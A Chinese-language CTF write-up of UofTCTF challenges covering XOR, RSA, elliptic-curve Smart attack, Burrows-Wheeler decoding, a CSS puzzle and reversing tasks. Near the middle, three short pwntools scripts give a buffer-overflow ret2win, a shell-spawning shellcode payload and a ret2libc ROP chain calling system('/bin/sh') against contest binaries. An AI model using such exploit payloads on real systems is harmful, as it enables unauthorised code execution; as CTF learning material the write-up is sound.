最近没有比赛,拿个国外刚比完的练练手。只是网站太慢了,点任何一处都得等一分钟。而且pwn的远程都开不了。不过pwn过于简单,连本地都没调,当是个pwn概念吧。
题
import os
import secrets
flag = "REDACATED"
xor_key = secrets.token_bytes(8)
def xor(message, key):
return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))])
encrypted_flag = xor(flag.encode(), xor_key).hex()
with open("flag.enc", "w") as f:
f.write("Flag: "+encrypted_flag)
异或加密,根据头得到key再解密
from pwn import xor
a = '982a9290d6d4bf88957586bbdcda8681de33c796c691bb9fde1a83d582c886988375838aead0e8c7dc2bc3d7cd97a4'
b = bytes.fromhex(a)
key = xor(b'uoftctf{', b[:8])
print(xor(b,key))
#b'uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}'
题
# no secrets for you!
flag = ...
# Prime numbers
p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369
q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229
n = p * q
# a public exponent hidden away by Windy's musical talents
e = ...
# Converting the message to an integer
m = int.from_bytes(message.encode(), 'big')
# Encrypting the message: c = m^e mod n
inc_m = pow(message_int, e, n)
print(encrypted_message_int)
c = 13798492512038760070176175279601263544116956273815547670915057561532348462120753731852024424193899030774938204962799194756105401464136384387458651343975594539877218889319074841918281784494580079814736461158750759327630935335333130007375268812456855987866715978531148043248418247223808114476698088473278808360178546541128684643502788861786419871174570376835894025839847919827231356213726961581598139013383568524808876923469958771740011288404737208217659897319372970291073214528581692244433371304465252501970552162445326313782129351056851978201181794212716520630569898498364053054452320641433167009005762663177324539460
RSA题就差一个e,给了个图
把c的位置当成0,得到e=7029307
long_to_bytes(pow(c, inverse(7029307,(p-1)*(q-1)),p*q))
#b'uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}'
题
m = 235322474717419
F = GF(m)
C = EllipticCurve(F, [0, 8856682])
public_base = (185328074730054:87402695517612:1)
Q1 = (184640716867876:45877854358580:1) # my public key
Q2 = (157967230203538:128158547239620:1) # your public key
secret = ...
my_private_key = ...
assert(my_private_key*public_base == Q1)
assert(my_private_key*Q2 == secret)
p = 235322474717419
a,b = 0, 8856682
E = EllipticCurve(GF(p), [0, 8856682])
G = E(185328074730054,87402695517612)
Q1 = E(184640716867876,45877854358580)
Q2 = E(157967230203538,128158547239620)
椭圆曲线题,这里E.order()==p可以用SmartAttack
#G.order() == p
#SmartAttack
def _lift(E, P, gf):
x, y = map(ZZ, P.xy())
for point_ in E.lift_x(x, all=True):
_, y_ = map(gf, point_.xy())
if y == y_:
return point_
def SmartAttack(G, P):
"""
Solves the discrete logarithm problem using Smart's attack.
More information: Smart N. P., "The discrete logarithm problem on elliptic curves of trace one"
:param G: the base point
:param P: the point multiplication result
:return: l such that l * G == P
"""
E = G.curve()
gf = E.base_ring()
p = gf.order()
assert E.trace_of_frobenius() == 1, f"Curve should have trace of Frobenius = 1."
E = EllipticCurve(Qp(p), [int(a) + p * ZZ.random_element(1, p) for a in E.a_invariants()])
G = p * _lift(E, G, gf)
P = p * _lift(E, P, gf)
Gx, Gy = G.xy()
Px, Py = P.xy()
return int(gf((Px / Py) / (Gx / Gy)))
m = SmartAttack(G,Q1)
#127556068971283
print(m*Q2)
#(11278025017971 : 36226806176053 : 1)
#uoftctf{(11278025017971:36226806176053:1)}
题
hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_t
Wheel Barrow
442
A wheelbarrow ran over the flag. Can you fix it?
Please wrap the flag in uoftctf{}. Please keep the $ in the flag when submitting.
不会了,看网上的WP到dcode.fr(国内需要梯子,否则通的概率不大)上burrow wheel解密
burr0w_wh33ler_transform_is_pr3tty_c00l_eh$th3_
roftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}
只有题,不会也没有WP,这个算法相当复杂呀。
import os
class LFSR:
def __init__(self, seed, taps, size):
assert seed != 0
assert (seed >> size) == 0
assert len(taps) > 0 and (size - 1) in taps
self.state = seed
self.taps = taps
self.mask = (1 << size) - 1
def _shift(self):
feedback = 0
for tap in self.taps:
feedback ^= (self.state >> tap) & 1
self.state = ((self.state << 1) | feedback) & self.mask
def next_byte(self):
val = self.state & 0xFF
for _ in range(8):
self._shift()
return val
class ExportGradeCipher:
def __init__(self, key):
# 40 bit key
assert (key >> 40) == 0
self.key = key
self.initialized = False
def init_with_nonce(self, nonce):
# 256 byte nonce, nonce size isnt export controlled so hopefully this will compensate for the short key size
assert len(nonce) == 256
self.lfsr17 = LFSR((self.key & 0xFFFF) | (1 << 16), [2, 9, 10, 11, 14, 16], 17)
self.lfsr32 = LFSR(((self.key >> 16) | 0xAB << 24) & 0xFFFFFFFF, [1, 6, 16, 21, 23, 24, 25, 26, 30, 31], 32)
self.S = [i for i in range(256)]
# Fisher-Yates shuffle S-table
for i in range(255, 0, -1):
# generate j s.t. 0 <= j <= i, has modulo bias but good luck exploiting that
j = (self.lfsr17.next_byte() ^ self.lfsr32.next_byte()) % (i + 1)
self.S[i], self.S[j] = self.S[j], self.S[i]
j = 0
# use nonce to scramble S-table some more
for i in range(256):
j = (j + self.lfsr17.next_byte() ^ self.lfsr32.next_byte() + self.S[i] + nonce[i]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
self.S_inv = [0 for _ in range(256)]
for i in range(256):
self.S_inv[self.S[i]] = i
self.initialized = True
def _update(self, v):
i = self.lfsr17.next_byte() ^ self.lfsr32.next_byte()
self.S[v], self.S[i] = self.S[i], self.S[v]
self.S_inv[self.S[v]] = v
self.S_inv[self.S[i]] = i
def encrypt(self, msg):
assert self.initialized
ct = bytes()
for v in msg:
ct += self.S[v].to_bytes()
self._update(v)
return ct
def decrypt(self, ct):
assert self.initialized
msg = bytes()
for v in ct:
vo = self.S_inv[v]
msg += vo.to_bytes()
self._update(vo)
return msg
if __name__ == "__main__":
cipher = ExportGradeCipher(int.from_bytes(os.urandom(5)))
nonce = os.urandom(256)
print("="*50)
print("Cipher Key: {}".format(cipher.key))
print("Nonce: {}".format(nonce))
msg = "ChatGPT: The Kerckhoffs' Principle, formulated by Auguste Kerckhoffs in the 19th century, is a fundamental concept in cryptography that states that the security of a cryptographic system should not rely on the secrecy of the algorithm, but rather on the secrecy of the key. In other words, a cryptosystem should remain secure even if all the details of the encryption algorithm, except for the key, are publicly known. This principle emphasizes the importance of key management in ensuring the confidentiality and integrity of encrypted data and promotes the development of encryption algorithms that can be openly analyzed and tested by the cryptographic community, making them more robust and trustworthy."
print("="*50)
print("Plaintext: {}".format(msg))
cipher.init_with_nonce(nonce)
ct = cipher.encrypt(msg.encode())
print("="*50)
print("Ciphertext: {}".format(ct))
cipher.init_with_nonce(nonce)
dec = cipher.decrypt(ct)
print("="*50)
try:
print("Decrypted: {}".format(dec))
assert msg.encode() == dec
except:
print("Decryption failed")
ret2win略,未调试
from pwn import *
p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')
p.sendline(b'A'*(64+8)+p64(0x401136))
p.sendline(b"cat flag")
p.interactive()
ret2text略,未调试
from pwn import *
context(arch='amd64', log_level='debug')
p = process('baby-shellcode')
p.send(asm(shellcraft.sh()))
p.interactive()
与第1题完全一样,没有远程原因不详
ret2啥?略,未调试
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./nothing-to-return')
p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')
p.recvuntil(b"printf is at ")
libc.address = int(p.recvline(),16) - libc.sym['printf']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x0000000000028265 # pop rdi ; ret
pay = b'A'*(64+8)+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system'])
p.sendlineafter(b'Input size:\n', str(len(pay)+1).encode())
p.sendline(pay)
p.sendline(b"cat /flag")
p.interactive()
一个css的题,打开网页是19个字节每个8位,当选正确后会显示绿标。
通过样式表可以判断
1,.byte:nth-child(1)是第1个字符
2,.latch:nth-child(7)是第1个字符的第7位
3,.latch__reset:active 这一位是置位还是清位
4,transform: translateX(-100%); -100是有效,0是无效
/* LED1 */
/* b1_7_l1_c1 */
.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
transform: translateX(0%);
transition: transform 0s;
}
.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
transform: translateX(-100%);
transition: transform 0s;
}
/* b1_8_l1_c2 */
.wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {
transform: translateX(0%);
transition: transform 0s;
}
.wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {
transform: translateX(-100%);
transition: transform 0s;
}
用re过滤一下,似乎python的re.findall感觉不如php的preg_match_all方便。
import re
msg = open('css-password.html').read()
pat = re.compile(r'\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) .latch__([rest]{3,5}):active\) \.checker:nth-of-type\(\d+\) \.checker__state:nth-child\(\d+\) {\n transform: translateX\((-100|0)%\);', re.M|re.S|re.I)
res = pat.findall(msg)
#print(res)
flag = ['0']*(19*8)
for i in res:
if i[3]=='-100':
if i[2] == 'set':
flag[(int(i[0])-1)*8+int(i[1])-1]='1'
print(flag)
print(bytes([int(''.join(flag[i*8:(i+1)*8]), 2) for i in range(19)]))
<?php
$msg = file_get_contents("./css-password.html");
$res = preg_match_all('|\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) \.latch__(.*):active.*translateX\(([-01]+)%\);|Ums', $msg, $reg);
#print_r($reg);
$key = [];for($i=0;$i<19*8;$i++)$key[i]='0';
foreach($reg[0] as $i=>$v){
print($i." ".$reg[1][$i].' '.$reg[2][$i]." ".$reg[3][$i]." ".$reg[4][$i]."\n");
if($reg[4][$i] == '-100')
$key[($reg[1][$i]-1)*8 + $reg[2][$i]-1]=($reg[3][$i] == 'set')?'1':'0';
}
$flag = '';
for($i=0;$i<19*8;$i++)$flag.=$key[$i];
echo $flag."\n";
$f2 = '';
for($i=0;$i<19;$i++)$f2.=chr(bindec(substr($flag,$i*8,8)));
echo $f2."\n";
?>
python的字节码,手翻一下
def worble(s):
s1 = 5
s2 = 31
for n in range(len(s)):
s1 = (s1+ord(s[n])+7)%65521
s2 = s1*s2%65521
return (s2<<16)|s1
def shmorble(s): #不动
r = ''
for i in range(len(s)):
r += s[i-len(s)]
return r
def blorble(a,b):
return format(a,'x')+format(b,'x')
pattern = re.compile('^uoftctf\\{([bdrw013]){9}\\}$')
a = worble(flag)
b = worble(flag[::-1])
shmorble(blorble(a,b)) == 'a81c0750d48f0750'
7个字符repeat9,题很小直接爆破
import itertools
for i in itertools.product('bdrw013', repeat=9):
s = ''.join(i)
if worble(s) == 0xa81c0750:
print(s)
from pwn import iters
found = iters.bruteforce(lambda x: worble('uoftctf{'+x+'}') == 0xa81c0750 and worble(('uoftctf{'+x+'}')[::-1]) == 0xd48f0750, 'bdrw013',9)
#'uoftctf{d3w0rb13d}'
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-14h]
char v5[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("can you solve the maze? :3");
printf("choose ur path >> ");
__isoc99_scanf("%lx", v5);
puts("running your path! hope this works:");
path = (__int64)v5;
for ( i = 0; i <= 7; ++i )
{
if ( (*(_BYTE *)(path + i) & 3) == 0
|| *(_BYTE *)(path + i) == 3 * (*(char *)(path + i) / 3)
|| *(char *)(path + i) > 100
|| *(char *)(path + i) <= 19 ) // [20,100] %4!=0 %3!=0
{
oops(); // exit
}
traverse(i);
}
return 0;
}
__int64 __fastcall traverse(int a1)
{
__int64 result; // rax
if ( (*(_BYTE *)(path + a1) & 1) != 0 )
cur = *(void **)cur;
else
cur = (void *)*((_QWORD *)cur + 1);
flag[a1] ^= *(_BYTE *)(path + a1);
if ( a1 )
{
if ( flag[a1] + flag[a1 - 1] != sums[a1 - 1] )
oops();
result = *((_QWORD *)cur + 2);
if ( result )
return (*((__int64 (**)(void))cur + 2))();
}
else
{
result = check_prime(flag[0]);
if ( !(_BYTE)result )
oops(); // exit
}
return result;
}
给了一个加密的flag要求输入path在与flag异或后进行检查。
1,path范围[19,100],且不能被3,4整除
2,异或后第1个字节是素数
3,异或以后相邻的和为sums
4,path的尾位符合level的指针,这个指针可以手数一共8位+1时表示0,+0时表示1最后到达profit
可以根据第2条得到8个数,然后再根据第3条爆破,1和4处理起来比较麻烦,但通过2以后只有4个值,都出来手选更方便
for v in 'Ymaq':
tflag = v
for i in range(7):
tflag += chr(sums[i]-ord(tflag[-1]))
#if all([1 if ord(tflag[i])^flag[i] in tab else 0 for i in range(8)]):
print(tflag)
#uoftctf{am4z31ng}
也可以全译爆破
tab = [i for i in range(20,101) if i%4!=0 and i%3 != 0]
#[22, 23, 25, 26, 29, 31, 34, 35, 37, 38, 41, 43, 46, 47, 49, 50, 53, 55, 58, 59, 61, 62, 65, 67, 70, 71, 73, 74, 77, 79, 82, 83, 85, 86, 89, 91, 94, 95, 97, 98]
flag = b'ON#X~o8&'
sums = [0xCE, 0xA1, 0xAE, 0xAD, 0x64, 0x9F, 0xD5]
#flag[i]^=path[i]
#flag[i]^flag[i-1] == sums[i-1]
a = [i for i in tab if isPrime(i^flag[0])]
'''
maze+1 ->l1 -> l2 -> l3+1 -> l4 -> l5+1 -> l6+1 -> l7 -> l8+2 ->profit
加1为0,不加为1
'''
path_lsb = [int(i) for i in '01101001']
def get_v(i, tail):
if i>=8:
print(tail)
return
if i==0:
for tp in tab:
if tp&1 == path_lsb[i] and isPrime(flag[0]^tp):
get_v(i+1, bytes([flag[i]^tp]))
else:
for tp in tab:
if tp&1 == path_lsb[i] and tail[-1]+(flag[i]^tp) == sums[i-1]:
get_v(i+1, tail+bytes([flag[i]^tp]))
get_v(0,b'')
jar文件没看懂
全是代码,非常长,只能在最后删数据前下断点,再在内存里找(都是两字节的字符\x00A这样)
在0x405603下断点,看内存中残留值
x/80s 0x406133
uoftctf{r3CuR51v3LY_3nuM3r4Bl3_R1zZ}
?